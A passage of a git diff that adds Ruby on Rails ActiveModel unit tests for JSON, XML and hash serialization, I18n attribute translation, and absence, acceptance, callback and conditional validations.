+ assert_equal expected, @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
+ end
+
+ def test_except_include
+ expected = {"name"=>"David", "email"=>"david at example.com",
+ "friends"=> [{"name" => 'Joe', "email" => 'joe at example.com'},
+ {"name" => "Sue", "email" => 'sue at example.com'}]}
+ assert_equal expected, @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
+ end
+
+ def test_multiple_includes_with_options
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "address"=>{"street"=>"123 Lane"},
+ "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
+ {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
+ assert_equal expected, @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
+ end
+end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
new file mode 100644
index 0000000..9134c49
--- /dev/null
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -0,0 +1,216 @@
+require 'cases/helper'
+require 'models/contact'
+require 'models/automobile'
+require 'active_support/core_ext/object/instance_variables'
+
+class Contact
+ include ActiveModel::Serializers::JSON
+ include ActiveModel::Validations
+
+ def attributes=(hash)
+ hash.each do |k, v|
+ instance_variable_set("@#{k}", v)
+ end
+ end
+
+ remove_method :attributes if method_defined?(:attributes)
+
+ def attributes
+ instance_values
+ end
+end
+
+class JsonSerializationTest < ActiveModel::TestCase
+ def setup
+ @contact = Contact.new
+ @contact.name = 'Konata Izumi'
+ @contact.age = 16
+ @contact.created_at = Time.utc(2006, 8, 1)
+ @contact.awesome = true
+ @contact.preferences = { 'shows' => 'anime' }
+ end
+
+ def teardown
+ # set to the default value
+ Contact.include_root_in_json = false
+ end
+
+ test "should not include root in json (class method)" do
+ json = @contact.to_json
+
+ assert_no_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "should include root in json if include_root_in_json is true" do
+ Contact.include_root_in_json = true
+ json = @contact.to_json
+
+ assert_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "should include root in json (option) even if the default is set to false" do
+ json = @contact.to_json(root: true)
+ assert_match %r{^\{"contact":\{}, json
+ end
+
+ test "should not include root in json (option)" do
+ json = @contact.to_json(root: false)
+
+ assert_no_match %r{^\{"contact":\{}, json
+ end
+
+ test "should include custom root in json" do
+ json = @contact.to_json(root: 'json_contact')
+
+ assert_match %r{^\{"json_contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "should encode all encodable attributes" do
+ json = @contact.to_json
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "should allow attribute filtering with only" do
+ json = @contact.to_json(:only => [:name, :age])
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert_no_match %r{"awesome":true}, json
+ assert !json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "should allow attribute filtering with except" do
+ json = @contact.to_json(except: [:name, :age])
+
+ assert_no_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{"age":16}, json
+ assert_match %r{"awesome":true}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ test "methods are called on object" do
+ # Define methods on fixture.
+ def @contact.label; "Has cheezburger"; end
+ def @contact.favorite_quote; "Constraints are liberating"; end
+
+ # Single method.
+ assert_match %r{"label":"Has cheezburger"}, @contact.to_json(only: :name, methods: :label)
+
+ # Both methods.
+ methods_json = @contact.to_json(only: :name, methods: [:label, :favorite_quote])
+ assert_match %r{"label":"Has cheezburger"}, methods_json
+ assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
+ end
+
+ test "should return Hash for errors" do
+ contact = Contact.new
+ contact.errors.add :name, "can't be blank"
+ contact.errors.add :name, "is too short (minimum is 2 characters)"
+ contact.errors.add :age, "must be 16 or over"
+
+ hash = {}
+ hash[:name] = ["can't be blank", "is too short (minimum is 2 characters)"]
+ hash[:age] = ["must be 16 or over"]
+ assert_equal hash.to_json, contact.errors.to_json
+ end
+
+ test "serializable_hash should not modify options passed in argument" do
+ options = { except: :name }
+ @contact.serializable_hash(options)
+
+ assert_nil options[:only]
+ assert_equal :name, options[:except]
+ end
+
+ test "as_json should return a hash if include_root_in_json is true" do
+ Contact.include_root_in_json = true
+ json = @contact.as_json
+
+ assert_kind_of Hash, json
+ assert_kind_of Hash, json['contact']
+ %w(name age created_at awesome preferences).each do |field|
+ assert_equal @contact.send(field), json['contact'][field]
+ end
+ end
+
+ test "as_json should keep the default order in the hash" do
+ json = @contact.as_json
+
+ assert_equal %w(name age created_at awesome preferences), json.keys
+ end
+
+ test "from_json should work without a root (class attribute)" do
+ json = @contact.to_json
+ result = Contact.new.from_json(json)
+
+ assert_equal result.name, @contact.name
+ assert_equal result.age, @contact.age
+ assert_equal Time.parse(result.created_at), @contact.created_at
+ assert_equal result.awesome, @contact.awesome
+ assert_equal result.preferences, @contact.preferences
+ end
+
+ test "from_json should work without a root (method parameter)" do
+ json = @contact.to_json
+ result = Contact.new.from_json(json, false)
+
+ assert_equal result.name, @contact.name
+ assert_equal result.age, @contact.age
+ assert_equal Time.parse(result.created_at), @contact.created_at
+ assert_equal result.awesome, @contact.awesome
+ assert_equal result.preferences, @contact.preferences
+ end
+
+ test "from_json should work with a root (method parameter)" do
+ json = @contact.to_json(root: :true)
+ result = Contact.new.from_json(json, true)
+
+ assert_equal result.name, @contact.name
+ assert_equal result.age, @contact.age
+ assert_equal Time.parse(result.created_at), @contact.created_at
+ assert_equal result.awesome, @contact.awesome
+ assert_equal result.preferences, @contact.preferences
+ end
+
+ test "custom as_json should be honored when generating json" do
+ def @contact.as_json(options); { name: name, created_at: created_at }; end
+ json = @contact.to_json
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json
+ assert_no_match %r{"awesome":}, json
+ assert_no_match %r{"preferences":}, json
+ end
+
+ test "custom as_json options should be extendible" do
+ def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
+ json = @contact.to_json
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json
+ assert_no_match %r{"awesome":}, json
+ assert_no_match %r{"preferences":}, json
+ end
+end
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
new file mode 100644
index 0000000..04ecf8a
--- /dev/null
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -0,0 +1,263 @@
+require 'cases/helper'
+require 'models/contact'
+require 'active_support/core_ext/object/instance_variables'
+require 'ostruct'
+
+class Contact
+ include ActiveModel::Serializers::Xml
+
+ attr_accessor :address, :friends, :contact
+
+ remove_method :attributes if method_defined?(:attributes)
+
+ def attributes
+ instance_values.except("address", "friends", "contact")
+ end
+end
+
+module Admin
+ class Contact < ::Contact
+ end
+end
+
+class Customer < Struct.new(:name)
+end
+
+class Address
+ include ActiveModel::Serializers::Xml
+
+ attr_accessor :street, :city, :state, :zip, :apt_number
+
+ def attributes
+ instance_values
+ end
+end
+
+class SerializableContact < Contact
+ def serializable_hash(options={})
+ super(options.merge(:only => [:name, :age]))
+ end
+end
+
+class XmlSerializationTest < ActiveModel::TestCase
+ def setup
+ @contact = Contact.new
+ @contact.name = 'aaron stack'
+ @contact.age = 25
+ @contact.created_at = Time.utc(2006, 8, 1)
+ @contact.awesome = false
+ customer = Customer.new
+ customer.name = "John"
+ @contact.preferences = customer
+ @contact.address = Address.new
+ @contact.address.city = "Springfield"
+ @contact.address.apt_number = 35
+ @contact.friends = [Contact.new, Contact.new]
+ @related_contact = SerializableContact.new
+ @contact.contact = @related_contact
+ end
+
+ test "should serialize default root" do
+ @xml = @contact.to_xml
+ assert_match %r{^<contact>}, @xml
+ assert_match %r{</contact>$}, @xml
+ end
+
+ test "should serialize namespaced root" do
+ @xml = Admin::Contact.new(@contact.attributes).to_xml
+ assert_match %r{^<contact>}, @xml
+ assert_match %r{</contact>$}, @xml
+ end
+
+ test "should serialize default root with namespace" do
+ @xml = @contact.to_xml :namespace => "http://xml.rubyonrails.org/contact"
+ assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
+ assert_match %r{</contact>$}, @xml
+ end
+
+ test "should serialize custom root" do
+ @xml = @contact.to_xml :root => 'xml_contact'
+ assert_match %r{^<xml-contact>}, @xml
+ assert_match %r{</xml-contact>$}, @xml
+ end
+
+ test "should allow undasherized tags" do
+ @xml = @contact.to_xml :root => 'xml_contact', :dasherize => false
+ assert_match %r{^<xml_contact>}, @xml
+ assert_match %r{</xml_contact>$}, @xml
+ assert_match %r{<created_at}, @xml
+ end
+
+ test "should allow camelized tags" do
+ @xml = @contact.to_xml :root => 'xml_contact', :camelize => true
+ assert_match %r{^<XmlContact>}, @xml
+ assert_match %r{</XmlContact>$}, @xml
+ assert_match %r{<CreatedAt}, @xml
+ end
+
+ test "should allow lower-camelized tags" do
+ @xml = @contact.to_xml :root => 'xml_contact', :camelize => :lower
+ assert_match %r{^<xmlContact>}, @xml
+ assert_match %r{</xmlContact>$}, @xml
+ assert_match %r{<createdAt}, @xml
+ end
+
+ test "should use serializable hash" do
+ @contact = SerializableContact.new
+ @contact.name = 'aaron stack'
+ @contact.age = 25
+
+ @xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, @xml
+ assert_match %r{<age type="integer">25</age>}, @xml
+ assert_no_match %r{<awesome>}, @xml
+ end
+
+ test "should allow skipped types" do
+ @xml = @contact.to_xml :skip_types => true
+ assert_match %r{<age>25</age>}, @xml
+ end
+
+ test "should include yielded additions" do
+ @xml = @contact.to_xml do |xml|
+ xml.creator "David"
+ end
+ assert_match %r{<creator>David</creator>}, @xml
+ end
+
+ test "should serialize string" do
+ assert_match %r{<name>aaron stack</name>}, @contact.to_xml
+ end
+
+ test "should serialize nil" do
+ assert_match %r{<pseudonyms nil=\"true\"/>}, @contact.to_xml(:methods => :pseudonyms)
+ end
+
+ test "should serialize integer" do
+ assert_match %r{<age type="integer">25</age>}, @contact.to_xml
+ end
+
+ test "should serialize datetime" do
+ assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+ end
+
+ test "should serialize boolean" do
+ assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
+ end
+
+ test "should serialize array" do
+ assert_match %r{<social type=\"array\">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(:methods => :social)
+ end
+
+ test "should serialize hash" do
+ assert_match %r{<network>\s*<git type=\"symbol\">github</git>\s*</network>}, @contact.to_xml(:methods => :network)
+ end
+
+ test "should serialize yaml" do
+ assert_match %r{<preferences type=\"yaml\">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
+ end
+
+ test "should call proc on object" do
+ proc = Proc.new { |options| options[:builder].tag!('nationality', 'unknown') }
+ xml = @contact.to_xml(:procs => [ proc ])
+ assert_match %r{<nationality>unknown</nationality>}, xml
+ end
+
+ test 'should supply serializable to second proc argument' do
+ proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
+ xml = @contact.to_xml(:procs => [ proc ])
+ assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml
+ end
+
+ test "should serialize string correctly when type passed" do
+ xml = @contact.to_xml :type => 'Contact'
+ assert_match %r{<contact type="Contact">}, xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ end
+
+ test "include option with singular association" do
+ xml = @contact.to_xml :include => :address, :indent => 0
+ assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+ end
+
+ test "include option with plural association" do
+ xml = @contact.to_xml :include => :friends, :indent => 0
+ assert_match %r{<friends type="array">}, xml
+ assert_match %r{<friend type="Contact">}, xml
+ end
+
+ class FriendList
+ def initialize(friends)
+ @friends = friends
+ end
+
+ def to_ary
+ @friends
+ end
+ end
+
+ test "include option with ary" do
+ @contact.friends = FriendList.new(@contact.friends)
+ xml = @contact.to_xml :include => :friends, :indent => 0
+ assert_match %r{<friends type="array">}, xml
+ assert_match %r{<friend type="Contact">}, xml
+ end
+
+ test "multiple includes" do
+ xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => [ :address, :friends ]
+ assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+ assert_match %r{<friends type="array">}, xml
+ assert_match %r{<friend type="Contact">}, xml
+ end
+
+ test "include with options" do
+ xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => { :address => { :only => :city } }
+ assert xml.include?(%(><address><city>Springfield</city></address>))
+ end
+
+ test "propagates skip_types option to included associations" do
+ xml = @contact.to_xml :include => :friends, :indent => 0, :skip_types => true
+ assert_match %r{<friends>}, xml
+ assert_match %r{<friend>}, xml
+ end
+
+ test "propagates skip-types option to included associations and attributes" do
+ xml = @contact.to_xml :skip_types => true, :include => :address, :indent => 0
+ assert_match %r{<address>}, xml
+ assert_match %r{<apt-number>}, xml
+ end
+
+ test "propagates camelize option to included associations and attributes" do
+ xml = @contact.to_xml :camelize => true, :include => :address, :indent => 0
+ assert_match %r{<Address>}, xml
+ assert_match %r{<AptNumber type="integer">}, xml
+ end
+
+ test "propagates dasherize option to included associations and attributes" do
+ xml = @contact.to_xml :dasherize => false, :include => :address, :indent => 0
+ assert_match %r{<apt_number type="integer">}, xml
+ end
+
+ test "don't propagate skip_types if skip_types is defined at the included association level" do
+ xml = @contact.to_xml :skip_types => true, :include => { :address => { :skip_types => false } }, :indent => 0
+ assert_match %r{<address>}, xml
+ assert_match %r{<apt-number type="integer">}, xml
+ end
+
+ test "don't propagate camelize if camelize is defined at the included association level" do
+ xml = @contact.to_xml :camelize => true, :include => { :address => { :camelize => false } }, :indent => 0
+ assert_match %r{<address>}, xml
+ assert_match %r{<apt-number type="integer">}, xml
+ end
+
+ test "don't propagate dasherize if dasherize is defined at the included association level" do
+ xml = @contact.to_xml :dasherize => false, :include => { :address => { :dasherize => true } }, :indent => 0
+ assert_match %r{<address>}, xml
+ assert_match %r{<apt-number type="integer">}, xml
+ end
+
+ test "association with sti" do
+ xml = @contact.to_xml(include: :contact)
+ assert xml.include?(%(<contact type="SerializableContact">))
+ end
+end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
new file mode 100644
index 0000000..fd833cd
--- /dev/null
+++ b/activemodel/test/cases/translation_test.rb
@@ -0,0 +1,101 @@
+require 'cases/helper'
+require 'models/person'
+
+class ActiveModelI18nTests < ActiveModel::TestCase
+
+ def setup
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def test_translated_model_attributes
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ assert_equal 'person name attribute', Person.human_attribute_name('name')
+ end
+
+ def test_translated_model_attributes_with_default
+ I18n.backend.store_translations 'en', :attributes => { :name => 'name default attribute' }
+ assert_equal 'name default attribute', Person.human_attribute_name('name')
+ end
+
+ def test_translated_model_attributes_using_default_option
+ assert_equal 'name default attribute', Person.human_attribute_name('name', :default => "name default attribute")
+ end
+
+ def test_translated_model_attributes_using_default_option_as_symbol
+ I18n.backend.store_translations 'en', :default_name => 'name default attribute'
+ assert_equal 'name default attribute', Person.human_attribute_name('name', :default => :default_name)
+ end
+
+ def test_translated_model_attributes_falling_back_to_default
+ assert_equal 'Name', Person.human_attribute_name('name')
+ end
+
+ def test_translated_model_attributes_using_default_option_as_symbol_and_falling_back_to_default
+ assert_equal 'Name', Person.human_attribute_name('name', :default => :default_name)
+ end
+
+ def test_translated_model_attributes_with_symbols
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ assert_equal 'person name attribute', Person.human_attribute_name(:name)
+ end
+
+ def test_translated_model_attributes_with_ancestor
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:child => {:name => 'child name attribute'} } }
+ assert_equal 'child name attribute', Child.human_attribute_name('name')
+ end
+
+ def test_translated_model_attributes_with_ancestors_fallback
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ assert_equal 'person name attribute', Child.human_attribute_name('name')
+ end
+
+ def test_translated_model_attributes_with_attribute_matching_namespaced_model_name
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:gender => 'person gender'}, :"person/gender" => {:attribute => 'person gender attribute'}}}
+
+ assert_equal 'person gender', Person.human_attribute_name('gender')
+ assert_equal 'person gender attribute', Person::Gender.human_attribute_name('attribute')
+ end
+
+ def test_translated_deeply_nested_model_attributes
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/contacts/addresses" => {:street => 'Deeply Nested Address Street'}}}
+ assert_equal 'Deeply Nested Address Street', Person.human_attribute_name('contacts.addresses.street')
+ end
+
+ def test_translated_nested_model_attributes
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/addresses" => {:street => 'Person Address Street'}}}
+ assert_equal 'Person Address Street', Person.human_attribute_name('addresses.street')
+ end
+
+ def test_translated_nested_model_attributes_with_namespace_fallback
+ I18n.backend.store_translations 'en', :activemodel => {:attributes => {:addresses => {:street => 'Cool Address Street'}}}
+ assert_equal 'Cool Address Street', Person.human_attribute_name('addresses.street')
+ end
+
+ def test_translated_model_names
+ I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+ assert_equal 'person model', Person.model_name.human
+ end
+
+ def test_translated_model_names_with_sti
+ I18n.backend.store_translations 'en', :activemodel => {:models => {:child => 'child model'} }
+ assert_equal 'child model', Child.model_name.human
+ end
+
+ def test_translated_model_names_with_ancestors_fallback
+ I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+ assert_equal 'person model', Child.model_name.human
+ end
+
+ def test_human_does_not_modify_options
+ options = { :default => 'person model' }
+ Person.model_name.human(options)
+ assert_equal({ :default => 'person model' }, options)
+ end
+
+ def test_human_attribute_name_does_not_modify_options
+ options = { :default => 'Cool gender' }
+ Person.human_attribute_name('gender', options)
+ assert_equal({ :default => 'Cool gender' }, options)
+ end
+end
+
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
new file mode 100644
index 0000000..c05d71d
--- /dev/null
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -0,0 +1,67 @@
+# encoding: utf-8
+require 'cases/helper'
+require 'models/topic'
+require 'models/person'
+require 'models/custom_reader'
+
+class AbsenceValidationTest < ActiveModel::TestCase
+ teardown do
+ Topic.reset_callbacks(:validate)
+ Person.reset_callbacks(:validate)
+ CustomReader.reset_callbacks(:validate)
+ end
+
+ def test_validate_absences
+ Topic.validates_absence_of(:title, :content)
+ t = Topic.new
+ t.title = "foo"
+ t.content = "bar"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:title]
+ assert_equal ["must be blank"], t.errors[:content]
+ t.title = ""
+ t.content = "something"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:content]
+ t.content = ""
+ assert t.valid?
+ end
+
+ def test_accepts_array_arguments
+ Topic.validates_absence_of %w(title content)
+ t = Topic.new
+ t.title = "foo"
+ t.content = "bar"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:title]
+ assert_equal ["must be blank"], t.errors[:content]
+ end
+
+ def test_validates_acceptance_of_with_custom_error_using_quotes
+ Person.validates_absence_of :karma, message: "This string contains 'single' and \"double\" quotes"
+ p = Person.new
+ p.karma = "good"
+ assert p.invalid?
+ assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
+ end
+
+ def test_validates_absence_of_for_ruby_class
+ Person.validates_absence_of :karma
+ p = Person.new
+ p.karma = "good"
+ assert p.invalid?
+ assert_equal ["must be blank"], p.errors[:karma]
+ p.karma = nil
+ assert p.valid?
+ end
+
+ def test_validates_absence_of_for_ruby_class_with_custom_reader
+ CustomReader.validates_absence_of :karma
+ p = CustomReader.new
+ p[:karma] = "excellent"
+ assert p.invalid?
+ assert_equal ["must be blank"], p.errors[:karma]
+ p[:karma] = ""
+ assert p.valid?
+ end
+end
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
new file mode 100644
index 0000000..de04e11
--- /dev/null
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -0,0 +1,68 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/reply'
+require 'models/person'
+
+class AcceptanceValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_terms_of_service_agreement_no_acceptance
+ Topic.validates_acceptance_of(:terms_of_service)
+
+ t = Topic.new("title" => "We should not be confirmed")
+ assert t.valid?
+ end
+
+ def test_terms_of_service_agreement
+ Topic.validates_acceptance_of(:terms_of_service)
+
+ t = Topic.new("title" => "We should be confirmed","terms_of_service" => "")
+ assert t.invalid?
+ assert_equal ["must be accepted"], t.errors[:terms_of_service]
+
+ t.terms_of_service = "1"
+ assert t.valid?
+ end
+
+ def test_eula
+ Topic.validates_acceptance_of(:eula, :message => "must be abided")
+
+ t = Topic.new("title" => "We should be confirmed","eula" => "")
+ assert t.invalid?
+ assert_equal ["must be abided"], t.errors[:eula]
+
+ t.eula = "1"
+ assert t.valid?
+ end
+
+ def test_terms_of_service_agreement_with_accept_value
+ Topic.validates_acceptance_of(:terms_of_service, :accept => "I agree.")
+
+ t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
+ assert t.invalid?
+ assert_equal ["must be accepted"], t.errors[:terms_of_service]
+
+ t.terms_of_service = "I agree."
+ assert t.valid?
+ end
+
+ def test_validates_acceptance_of_for_ruby_class
+ Person.validates_acceptance_of :karma
+
+ p = Person.new
+ p.karma = ""
+
+ assert p.invalid?
+ assert_equal ["must be accepted"], p.errors[:karma]
+
+ p.karma = "1"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+end
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
new file mode 100644
index 0000000..6cd0f4e
--- /dev/null
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -0,0 +1,98 @@
+# encoding: utf-8
+require 'cases/helper'
+
+class Dog
+ include ActiveModel::Validations
+ include ActiveModel::Validations::Callbacks
+
+ attr_accessor :name, :history
+
+ def initialize
+ @history = []
+ end
+end
+
+class DogWithMethodCallbacks < Dog
+ before_validation :set_before_validation_marker
+ after_validation :set_after_validation_marker
+
+ def set_before_validation_marker; self.history << 'before_validation_marker'; end
+ def set_after_validation_marker; self.history << 'after_validation_marker' ; end
+end
+
+class DogValidatorsAreProc < Dog
+ before_validation { self.history << 'before_validation_marker' }
+ after_validation { self.history << 'after_validation_marker' }
+end
+
+class DogWithTwoValidators < Dog
+ before_validation { self.history << 'before_validation_marker1' }
+ before_validation { self.history << 'before_validation_marker2' }
+end
+
+class DogValidatorReturningFalse < Dog
+ before_validation { false }
+ before_validation { self.history << 'before_validation_marker2' }
+end
+
+class DogWithMissingName < Dog
+ before_validation { self.history << 'before_validation_marker' }
+ validates_presence_of :name
+end
+
+class DogValidatorWithIfCondition < Dog
+ before_validation :set_before_validation_marker1, if: -> { true }
+ before_validation :set_before_validation_marker2, if: -> { false }
+
+ after_validation :set_after_validation_marker1, if: -> { true }
+ after_validation :set_after_validation_marker2, if: -> { false }
+
+ def set_before_validation_marker1; self.history << 'before_validation_marker1'; end
+ def set_before_validation_marker2; self.history << 'before_validation_marker2' ; end
+
+ def set_after_validation_marker1; self.history << 'after_validation_marker1'; end
+ def set_after_validation_marker2; self.history << 'after_validation_marker2' ; end
+end
+
+
+class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
+
+ def test_if_condition_is_respected_for_before_validation
+ d = DogValidatorWithIfCondition.new
+ d.valid?
+ assert_equal ["before_validation_marker1", "after_validation_marker1"], d.history
+ end
+
+ def test_before_validation_and_after_validation_callbacks_should_be_called
+ d = DogWithMethodCallbacks.new
+ d.valid?
+ assert_equal ['before_validation_marker', 'after_validation_marker'], d.history
+ end
+
+ def test_before_validation_and_after_validation_callbacks_should_be_called_with_proc
+ d = DogValidatorsAreProc.new
+ d.valid?
+ assert_equal ['before_validation_marker', 'after_validation_marker'], d.history
+ end
+
+ def test_before_validation_and_after_validation_callbacks_should_be_called_in_declared_order
+ d = DogWithTwoValidators.new
+ d.valid?
+ assert_equal ['before_validation_marker1', 'before_validation_marker2'], d.history
+ end
+
+ def test_further_callbacks_should_not_be_called_if_before_validation_returns_false
+ d = DogValidatorReturningFalse.new
+ output = d.valid?
+ assert_equal [], d.history
+ assert_equal false, output
+ end
+
+ def test_validation_test_should_be_done
+ d = DogWithMissingName.new
+ output = d.valid?
+ assert_equal ['before_validation_marker'], d.history
+ assert_equal false, output
+ end
+
+end
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
new file mode 100644
index 0000000..e06b04a
--- /dev/null
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -0,0 +1,139 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+
+class ConditionalValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_if_validation_using_method_true
+ # When the method returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_unless_validation_using_method_true
+ # When the method returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_if_validation_using_method_false
+ # When the method returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true_but_its_not )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_unless_validation_using_method_false
+ # When the method returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true_but_its_not )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_if_validation_using_string_true
+ # When the evaluated string returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "a = 1; a == 1" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_unless_validation_using_string_true
+ # When the evaluated string returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "a = 1; a == 1" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_if_validation_using_string_false
+ # When the evaluated string returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "false")
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_unless_validation_using_string_false
+ # When the evaluated string returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "false")
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_if_validation_using_block_true
+ # When the block returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
+ :if => Proc.new { |r| r.content.size > 4 } )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_unless_validation_using_block_true
+ # When the block returns true
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
